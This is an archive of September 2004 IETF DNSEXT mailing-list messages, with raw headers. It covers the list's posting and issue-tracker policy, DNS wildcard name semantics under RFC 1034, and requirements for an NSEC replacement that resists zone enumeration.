From owner-namedroppers@ops.ietf.org Wed Sep 1 02:43:52 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11695
for ; Wed, 1 Sep 2004 02:43:51 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2OiP-000J7C-VB
for namedroppers-data@psg.com; Wed, 01 Sep 2004 06:35:29 +0000
Received: from [193.0.0.199] (helo=postman.ripe.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2OiE-000J5l-Hd
for namedroppers@ops.ietf.org; Wed, 01 Sep 2004 06:35:19 +0000
Received: by postman.ripe.net (Postfix, from userid 8)
id E37F74E3F4; Wed, 1 Sep 2004 08:35:02 +0200 (CEST)
Received: from birch.ripe.net (birch.ripe.net [193.0.1.96])
by postman.ripe.net (Postfix) with ESMTP id 334054FE55
for ; Wed, 1 Sep 2004 08:35:02 +0200 (CEST)
Received: from x50.ripe.net (x50.ripe.net [193.0.1.50])
by birch.ripe.net (8.12.10/8.11.6) with ESMTP id i816Z2DI020885
for ; Wed, 1 Sep 2004 08:35:02 +0200
Received: (from olaf@localhost)
by x50.ripe.net (8.12.10/8.12.6) id i816Z1md031983
for namedroppers@ops.ietf.org; Wed, 1 Sep 2004 08:35:01 +0200
Date: Wed, 1 Sep 2004 08:35:01 +0200
From: Olaf Kolkman
Message-Id: <200409010635.i816Z1md031983@x50.ripe.net>
To: namedroppers@ops.ietf.org
Subject: DNSEXT list policy
X-RIPE-Spam-Status: U 0.497126 / 0.0 / 0.0 / disabled
X-RIPE-Signature: 117a64ad8135478299571518892c1aed
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
- List Purpose
namedroppers@ops.ietf.org is the mailing list for the IETF DNSEXT
working group.
See for the
wg charter. Messages should be on topics appropriate to the dnsext
wg, which are various discussion of the DNS protocols or
administrivia of the WG itself.
- Specific items that are not not appropriate for posting
Calls for papers, announcements of events not directly relevant to
the DNS protocols, etc. are not appropriate.
Discussion of problems with particular implementations,
announcements of releases, sites' misconfigurations, pleas for help
with specific implementations, etc. should be done on mailing lists
for the particular implementations.
There is a working group for dns operational practice, DNSOP, whose
charter can be found at
. Items
relevant to the DNSOP charter are to be discussed on the DNSOP
mailinglist.
Discussion about the quality of implementations is outside the scope
of this list.
- Moderation
Moderation is based on "subscriber-only with spam filter". To
counter a certain class of spam mails messages over 20000
characters, originating from list subscribers, will be held for
moderations.
Questions or concerns related to the acceptance or rejection of
specific messages to the namedroppers mailing list should first be
discussed with the wg chairs, with followup appeals using the normal
appeals process of rfc 2026 (i.e. follup with area directors, then
iesg, etc.).
There is a mailing list for the discussion of ietf processes, which
includes any general discussion of the moderation of ietf mailing
lists. it is poised@lists.tislabs.com
- Issue Tracker
As of October 2003 this group will use an issue tracker. This is to
better organize the work-flow, maintain overview over, and focus the
discussions to the working group documents.
Please stick to the following procedure when discussing working
group work documents.
== The system
The issue tracker can be found at:
https://roundup.machshav.com/dnsext/index
The chairs are responsible for maintaining the data in the issue
tracker. That task may be delegated to document editors. If a
document editor prefers other tracking systems they are free to
coordinate that with the chairs.
== Creating a new issue.
New Issue tickets are only created for working group document.
If you have an issue a document please sent in a mail with a subject
header of the following format
ISSUE:
Where is taken from the I-D's file name
draft-ietf-dnsext-- and the is a short
description of the issue presented.
Please use the following template to submit an issue:
To: namedroppers@ops.ietf.org
Cc: document-editor@foo.example
Subject: FOO-RR-PROCESSING ISSUE: BLA-bit vs FOO-flag interop problem
One line description of issue
name: Your_Name_Here
email: Your_Email_Address_Here
Date: Insert_Date_Here
Reference: URL to e-mail describing problem, if available
Type: ['T'echnical | 'E'ditorial]
Priority: ['C'ritical | 'U'rgent | 'B'ug | 'F'eature | 'W'ish ]
Document: draft-ietf-dnsext--
Section: Insert_Section_Number_Here
Rationale/Explanation of issue:
Length description of problem
Requested change:
Proposal
The proposal for the requested change is the most important bit of
the issue. Providing a proposed text will focus discussion and
relieves the document-editors. A new issue MUST therefore contain a
text in the 'requested change' field.
Once a new "ISSUE" message is received on the list the chairs or
document editors will add the issue to the document tracker and
reply to the list providing a URL and a relevant issue identifier.
== Discussion of issues.
Discussion of issues takes place on the list. Please reply
'in-thread' when discussing an issue and try to stay within scope of
the issue at hand.
The chairs or the document editors will copy relevant messages, or
abstracts thereof to the issue tracker so that the gist of the
discussion can be followed using the tracker. There may be a few
days lag between the list and the tracker. The archive remains the
authoritative log for the discussion.
== Bouncing of issues
The chairs may decide not to create a entry in the issue tracker if
an issue does not relate to a working group document; the issue has
already been discussed and the issue has been closed; if there is
no proposed change or; if the issue is irrelevant to any of the
working group documents.
== Discussion of matters not in the issue tracker.
Feel free to bring up matters that are not related to working group
documents (but appropriate to the group); they do not need an issue
tracking number.
== Closing of issues.
Chairs or document editors will close issues once resolved. In the
tracking system a note will be made in which document version the
issue was resolved.
---
NOTE WELL:
All statements related to the activities of the IETF and addressed to the
IETF are subject to all provisions of Section 10 of RFC 2026, which grants
to the IETF and its participants certain licenses and rights in such
statements.
Such statements include verbal statements in IETF meetings, as well as
written and electronic communications made at any time or place, which are
addressed to
- the IETF plenary session,
- any IETF working group or portion thereof,
- the IESG, or any member thereof on behalf of the IESG,
- the IAB or any member thereof on behalf of the IAB,
- any IETF mailing list, including the IETF list itself,
any working group or design team list, or any other list
functioning under IETF auspices,
- the RFC Editor or the Internet-Drafts function
Statements made outside of an IETF meeting, mailing list or other function,
that are clearly not intended to be input to an IETF activity, group or
function, are not subject to these provisions.
----------------------------------------------------------------------
$Id: dnsext-list-policy.txt,v 1.7 2004/05/17 12:46:38 olaf Exp $
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 1 11:06:30 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24393
for ; Wed, 1 Sep 2004 11:06:30 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2RCq-000ALu-P0
for namedroppers-data@psg.com; Wed, 01 Sep 2004 09:15:04 +0000
Received: from [193.0.0.199] (helo=postman.ripe.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2RCg-000AIi-2d
for namedroppers@ops.ietf.org; Wed, 01 Sep 2004 09:14:54 +0000
Received: by postman.ripe.net (Postfix, from userid 8)
id 2DBB44EC2B; Wed, 1 Sep 2004 11:14:53 +0200 (CEST)
Received: from birch.ripe.net (birch.ripe.net [193.0.1.96])
by postman.ripe.net (Postfix) with ESMTP id C3A364FC80
for ; Wed, 1 Sep 2004 11:14:52 +0200 (CEST)
Received: from x50.ripe.net (x50.ripe.net [193.0.1.50])
by birch.ripe.net (8.12.10/8.11.6) with SMTP id i819EqDI007231
for ; Wed, 1 Sep 2004 11:14:52 +0200
Date: Wed, 1 Sep 2004 11:14:52 +0200
From: "Olaf M. Kolkman"
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
Message-Id: <20040901111452.7276c683.olaf@ripe.net>
In-Reply-To: <20040728190530.GA22758@atoom.net>
References: <20040728190530.GA22758@atoom.net>
Organization: RIPE NCC
X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled
X-RIPE-Signature: 19889153d8b9c30a04e982552768966c
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Dear Colleagues,
I returned from vacation and saw that this thread, and the related
"What I mumbled at the mike today" had developed during my absense. I
started reading it with the intention to make an abstract of the
discussion. The shear amount of side tracks and circles in arguments
make this virtually impossilbe. I counted 191 messages with a total of
15127 lines (including headers).
I want to close this thread by giving every participant the
opportunity to state their concluding argument in not more than 20
lines of text.
Please make an abstract of your own concluding arguments (some people
may have changed their opinions) please do not start discussing these
arguments again. If you can phrase your arguments as a set of
(measurable) requirements for further protocol development that would
be fab.
Note that we are trying to take the work on preventing zone
enumeration seriously and that we are trying to get the requirements
done. At least one of the messages burried in the thread was relevant to
that and didn't get any followup.
Also read:
http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01237.html
I am trying to get something sensible out of this that will allow us to
go forward or, if needed, conclude, in a decent fashion.
-- Olaf
DNSEXT Co-Chair.
---------------------------------| Olaf M. Kolkman
---------------------------------| RIPE NCC
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 1 12:05:49 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03763
for ; Wed, 1 Sep 2004 12:05:48 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2XTp-0003Sk-2D
for namedroppers-data@psg.com; Wed, 01 Sep 2004 15:57:01 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2XTd-0003PS-Ln
for namedroppers@ops.ietf.org; Wed, 01 Sep 2004 15:56:50 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id CD382143B0A; Wed, 1 Sep 2004 11:39:07 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id 3BAAC143B00;
Wed, 1 Sep 2004 11:39:07 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id BBC18CF3C1;
Wed, 1 Sep 2004 11:56:46 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
Date: Wed, 1 Sep 2004 11:56:47 -0400
To: namedroppers@ops.ietf.org
From: Edward Lewis
Subject: wild cards
Cc: edlewis@arin.net
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Yes, I'm actually spending time on the draft...
I have a question relating to what's a legal name. Yea, I've asked
this before, a few months ago. But the answer I got then does not
agree with what's in the minutes for the last (err, most recent?)
meeting of the WG in Minneapolis.
Here is a message from the list (June 2):
http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg00810.html
Here is what is said in the minutes (Minneapolis, Nov 2003):
http://ops.ietf.org/lists/namedroppers/namedroppers.2003/msg02219.html,
specifically -
>Issue (4b): Whether or not "*" can be in the middle of a name. There
>was no discussion in the room on this one. The basic issue is that
>the draft goes to great length to talk about how this is handled.
>Later on, someone noticed that 1034 discourages this.
>
>
>Although there is no sentiment to allow these names, nor is there any common
>use, if the names are barred as in 1034, then more rules are needed to
>specify what happens when they are (mistakenly?) seen. If the rules aren't
>specified then behavior is unpredicatable - perhaps in ways that don't
>matter very much.
>
>An older mail list discussion leaned toward staying with 1034's definition.
In RFC 1034, this is, as far as I can tell, the definition:
# The owner name of the wildcard RRs is of
# the form "*.", where is any domain name.
# should not contain other * labels, and should be in the
# authoritative data of the zone.
So, should I take this to mean that:
a.*.example.com is legal and *.example.com synthesizes records
*.*.example.com is illegal and "is an error" (on load of zone/dynamic update)?
*.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0)
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 1 21:41:43 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA23799
for ; Wed, 1 Sep 2004 21:41:43 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2gVy-000JoG-SB
for namedroppers-data@psg.com; Thu, 02 Sep 2004 01:35:50 +0000
Received: from [204.152.187.5] (helo=farside.isc.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2gVo-000JnZ-77
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 01:35:40 +0000
Received: from drugs.dv.isc.org (localhost [IPv6:::1])
(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
(No client certificate requested)
by farside.isc.org (Postfix) with ESMTP id 3EB7E67524
for ; Thu, 2 Sep 2004 01:35:38 +0000 (UTC)
(envelope-from marka@isc.org)
Received: from drugs.dv.isc.org (localhost [127.0.0.1])
by drugs.dv.isc.org (8.12.11/8.12.11) with ESMTP id i821ZVOu052516;
Thu, 2 Sep 2004 11:35:31 +1000 (EST)
(envelope-from marka@drugs.dv.isc.org)
Message-Id: <200409020135.i821ZVOu052516@drugs.dv.isc.org>
To: Edward Lewis
Cc: namedroppers@ops.ietf.org
From: Mark Andrews
Subject: Re: wild cards
In-reply-to: Your message of "Wed, 01 Sep 2004 11:56:47 -0400."
Date: Thu, 02 Sep 2004 11:35:31 +1000
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
> Yes, I'm actually spending time on the draft...
>
> I have a question relating to what's a legal name. Yea, I've asked
> this before, a few months ago. But the answer I got then does not
> agree with what's in the minutes for the last (err, most recent?)
> meeting of the WG in Minneapolis.
>
> Here is a message from the list (June 2):
>
> http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg00810.html
>
> Here is what is said in the minutes (Minneapolis, Nov 2003):
>
> http://ops.ietf.org/lists/namedroppers/namedroppers.2003/msg02219.html,
> specifically -
>
> >Issue (4b): Whether or not "*" can be in the middle of a name. There
> >was no discussion in the room on this one. The basic issue is that
> >the draft goes to great length to talk about how this is handled.
> >Later on, someone noticed that 1034 discourages this.
> >
> >
> >Although there is no sentiment to allow these names, nor is there any common
> >use, if the names are barred as in 1034, then more rules are needed to
> >specify what happens when they are (mistakenly?) seen. If the rules aren't
> >specified then behavior is unpredicatable - perhaps in ways that don't
> >matter very much.
> >
> >An older mail list discussion leaned toward staying with 1034's definition.
>
> In RFC 1034, this is, as far as I can tell, the definition:
>
> # The owner name of the wildcard RRs is of
> # the form "*.", where is any domain name.
> # should not contain other * labels, and should be in the
> # authoritative data of the zone.
>
> So, should I take this to mean that:
>
> a.*.example.com is legal and *.example.com synthesizes records
> *.*.example.com is illegal and "is an error" (on load of zone/dynamic updat
> e)?
> *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0)
I suspect the intent was to only allow "*" as the left most
label. a.*.example.com and *.*.example.com would both be
illegal if this was the case.
Allowing a.*.example.com but disallowing *.*.example.com
is stupid. You either allow both or disallow both.
Mark
> --
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> Edward Lewis +1-703-227-9854
> ARIN Research Engineer
>
> "I can't go to Miami. I'm expecting calls from telemarketers." -
> Grandpa Simpson.
>
> --
> to unsubscribe send a message to namedroppers-request@ops.ietf.org with
> the word 'unsubscribe' in a single line as the message text body.
> archive:
--
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 1 21:53:24 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24713
for ; Wed, 1 Sep 2004 21:53:24 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2gib-000L9v-J5
for namedroppers-data@psg.com; Thu, 02 Sep 2004 01:48:53 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2giQ-000L8v-M8
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 01:48:42 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id 7BE2B143C75; Wed, 1 Sep 2004 21:30:55 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id E2D74143C71;
Wed, 1 Sep 2004 21:30:54 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 29C87CF3C1;
Wed, 1 Sep 2004 21:48:41 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
Date: Wed, 1 Sep 2004 21:48:42 -0400
To: namedroppers@ops.ietf.org
From: Edward Lewis
Subject: more wild cards
Cc: edlewis@arin.net
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
I've been looking at the text as it stands and the minutes of the
meeting in Minneapolis. Besides the name question -
1) * SOA. The text goes to great lengths to say that this is doable
in one sense, but in another sense it's stupid. I.e., Step 2 of the
algorithm in RFC 1034 (sect 4.3.2) says "pick the zone". If you can
generate zones on the fly, you do it here.
The problem is, you really can't.
Let's say you have example.com and *.example.com on the server. I
ask for www.cnn.example.com. In step 2, you can't just generate
cnn.example.com - because you don't know if there's an NS RR set for
cnn.exmample.com in example.com. I.e., you'd have to do step 2, then
step 3. If in step 3 you'd decide to send a referral, you would then
have to go back to step 2 and generate.
Now, I realize that the algorithm is a suggestion, that the
sequential nature of step 2 and step 3 isn't strict - but I don't
think the intent was to do step 2 - 3 - 2 (again) - 3 (again).
I'm suggesting that we declare a * SOA to be an load/update error.
2) * NS. The text talks around this too, with the discussion being
rather vague. But at the end of the meeting I recall someone say:
"You have to be authoritative for the data to synthesize records, and if you
see * NS, you are not in the authoritative zone."
I forget who said it, it isn't in the minutes, but I think that's a
sharp observation. (I didn't see it, and I have been staring at wild
cards for some time now.)
I'm suggesting that * NS be a load/update error.
3) * CNAME. From memory, we wanted to alter the algorithm to make
this "chaseable" in the answer generation. I'm going to recover the
text on this and put it in.
There's a blurb about fixing DNAME, I'll do that. At this moment, I
think that captures the main pending changes that I have questions
about.
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 04:24:35 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA12066
for ; Thu, 2 Sep 2004 04:24:35 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2mmb-000E00-Bp
for namedroppers-data@psg.com; Thu, 02 Sep 2004 08:17:25 +0000
Received: from [193.0.0.199] (helo=postman.ripe.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2mmQ-000Dz3-N9
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 08:17:14 +0000
Received: by postman.ripe.net (Postfix, from userid 8)
id 19CA04EE25; Thu, 2 Sep 2004 10:17:14 +0200 (CEST)
Received: from birch.ripe.net (birch.ripe.net [193.0.1.96])
by postman.ripe.net (Postfix) with ESMTP
id CE20F4EFD4; Thu, 2 Sep 2004 10:17:13 +0200 (CEST)
Received: from x50.ripe.net (x50.ripe.net [193.0.1.50])
by birch.ripe.net (8.12.10/8.11.6) with SMTP id i828HDDI025338;
Thu, 2 Sep 2004 10:17:13 +0200
Date: Thu, 2 Sep 2004 10:17:13 +0200
From: "Olaf M. Kolkman"
To: Edward Lewis
Cc: namedroppers@ops.ietf.org
Subject: Re: wild cards
Message-Id: <20040902101713.1c6454f9.olaf@ripe.net>
In-Reply-To:
References:
Organization: RIPE NCC
X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-RIPE-Spam-Status: N 0.000020 / 0.0 / 0.0 / disabled
X-RIPE-Signature: c5ef494c58a52fe9896101de2b1d8e50
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
> In RFC 1034, this is, as far as I can tell, the definition:
>
> # The owner name of the wildcard RRs is of
> # the form "*.", where is any domain name.
> # should not contain other * labels, and should be in the
> # authoritative data of the zone.
>
> So, should I take this to mean that:
>
> a.*.example.com is legal and *.example.com synthesizes records
That is not the way I read the Scripture. If a.*.example.com would
have been legal I would have expected text like:
[.]*. where anydomain is any domain name.
> *.*.example.com is illegal and "is an error" (on load of
> zone/dynamic update)?
Is exactly what I would read.
> *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0)
But here you have my personal opinion. I wonder how implementors have
interpreted the scripture. Are there any implementations that deal in
one of the ways Ed described? That is synthesise the * in
a.*.example.com?
- Olaf
(namedropper)
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 09:56:55 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04061
for ; Thu, 2 Sep 2004 09:56:54 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2rxg-000962-OX
for namedroppers-data@psg.com; Thu, 02 Sep 2004 13:49:12 +0000
Received: from [202.12.73.3] (helo=ratree.psu.ac.th)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2rxN-00093B-Ah
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 13:48:53 +0000
Received: from delta.noi.kre.to (delta.coe.psu.ac.th [172.30.0.98])
by ratree.psu.ac.th (8.11.6/8.11.6) with ESMTP id i82DmoY23929;
Thu, 2 Sep 2004 20:48:50 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i82DmnJQ027067;
Thu, 2 Sep 2004 20:48:49 +0700 (ICT)
From: Robert Elz
To: Edward Lewis
cc: namedroppers@ops.ietf.org
Subject: Re: wild cards
In-Reply-To:
References:
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 02 Sep 2004 20:48:49 +0700
Message-ID: <25125.1094132929@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Wed, 1 Sep 2004 11:56:47 -0400
From: Edward Lewis
Message-ID:
| a.*.example.com is legal and *.example.com synthesizes records
| *.*.example.com is illegal and "is an error" (on load of zone/dynamic update)?
| *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0)
First answer is that there is no such thing as an "illegal" domain name
(based upon content) - the only restrictions are on length. 1 character
domain names are clearly legal, whatever the character (octet value really)
is (including '\0' and '*').
You cannot refuse to load zones just because you don't like some of the
names that are in it (well, you can, if that's what the owner of the
domain wants - but not just because the software author prefers it that
way, or not without the software being defective).
Second part ...
Wildcards are relevant only for domain name lookup - when looking up the
name in a query, if no exact match is found, a search is done at the same
level of the tree for a '*' label - if that one is found, it matches the
entire rest of the query (no more searching happens).
That makes things like *.*.example.com and a.*.example.com meaningless
for this kind of query.
If we assume there is no x.example.com in the zone, and I make a query
for q.x.example.com any of the "wildcard" names in this message (my text
or the quoted text) match it.
That is, we're searching example.com for 'x', not found, search example.com
for the '*' wildcard - found, that then matches the "q.x" part of the query,
and we look no more.
It is most certainly not the case that the existence of (just) a.*.example.com
in a zone makes a lookup of a.x.example.com succeed, but one of
b.x.example.com fail - if x.example.com matches the wildcard at all
(there is no x.example.com in the zone) then a query for any sub-domain of
x.example.com also matches the wildcard (the same wildcard). There
is no way to limit that.
Third part ...
If we do a query for a.*.example.com we end up searching example.com for '*'
not as a wildcard, but as a label, in this case we find it, just as a label,
and go on to look for the sub-domain of *.example.com that we're querying
('a') in this case, in exactly the same manner that we would if the '*'
was replaced (in both the query and the zone) by 'z'. Here, if
a.*.example.com exists in the zone, then it matches the query, and the
results are returned. If there's no a.*.example.com in the zone file,
then we do a wildcard lookup (look for a '*' inside the *.example.com domain)
and if that one exists, it provides the answers. If it doesn't, NXDOMAIN.
All this stuff is really amazingly simple if you consider the name space as a
tree, and always think of it that way, and then obey the 1034 lookup algorithm.
It is only when you start to concentrate on zone file formats, and textual
representations, that things start to look more complex and messy. So
don't do that.
Fourth part ...
No-one can really count upon any of the implementations actually
implementing all of these corner cases correctly (and certainly not
all of them). So, for all practical purposes anything except a solitary
'*' as the leftmost label in a name loaded into a zone file is simply
going to produce random undefined results, and no-one should be doing
such a thing (but that people shouldn't do it doesn't mean that the
implementations should attempt to enforce that restriction). The
best thing is to simply consider all this as "undefined behaviour".
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 10:05:49 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04757
for ; Thu, 2 Sep 2004 10:05:49 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2s8i-000B72-QW
for namedroppers-data@psg.com; Thu, 02 Sep 2004 14:00:36 +0000
Received: from [149.8.64.10] (helo=mclmx.mail.saic.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2s8Y-000B5P-3f
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 14:00:26 +0000
Received: from mcl-its-ieg01.mail.saic.com by mclmx.mail.saic.com for namedroppers@ops.ietf.org; Thu, 2 Sep 2004 10:00:13 -0400
Received: from mcl-its-exbh01.mail.saic.com ([149.8.64.11])
by mcl-its-ieg01.mail.saic.com (SAVSMTP 3.1.6.45) with SMTP id M2004090210001325273
for ; Thu, 02 Sep 2004 10:00:13 -0400
Received: by mcl-its-exbh01.mail.saic.com with Internet Mail Service (5.5.2657.72)
id ; Thu, 2 Sep 2004 10:00:13 -0400
Message-Id: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com>
From: "Loomis, Rip"
To: namedroppers@ops.ietf.org
Subject: Zone enumeration, requirements, and security redux
Date: Thu, 2 Sep 2004 09:57:28 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Previously, on 11 August, I sent a message to the list
which can be seen at
http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01465.html
Based on Olaf's last e-mail I wanted to summarize that
message and talk about some other related issues (such
as getting one agreed-upon definition for "security by
obscurity") but I couldn't fit the full argument into
20 lines. I also wanted to make one last call for
desirements and requirements related to NSEC/zone
enumeration/etc--so that Ben and I can get a next draft
of the collected requirements out for review and
prioritization.
Bottom line--I believe that a replacement for NSEC
that does not provide for easy zone enumeration is
both worthwhile (will make it easier to address both
privacy and security concerns that DNS users will
have) and realistic. I further believe that it *should*
be possible to find a replacement for NSEC in parallel
with an initial roll-out of DNSSECbis to several
major zone.
I only wish I'd whined more about NXT zone walking back
in 1999, when I first decided that it might be a
real stumbling block for DNSSEC acceptance.
Comments on the above, and *any last requirements*
requested.
--Rip (And yes, I *still* went over 20 lines.)
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 10:33:56 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08028
for ; Thu, 2 Sep 2004 10:33:56 -0400 (EDT)
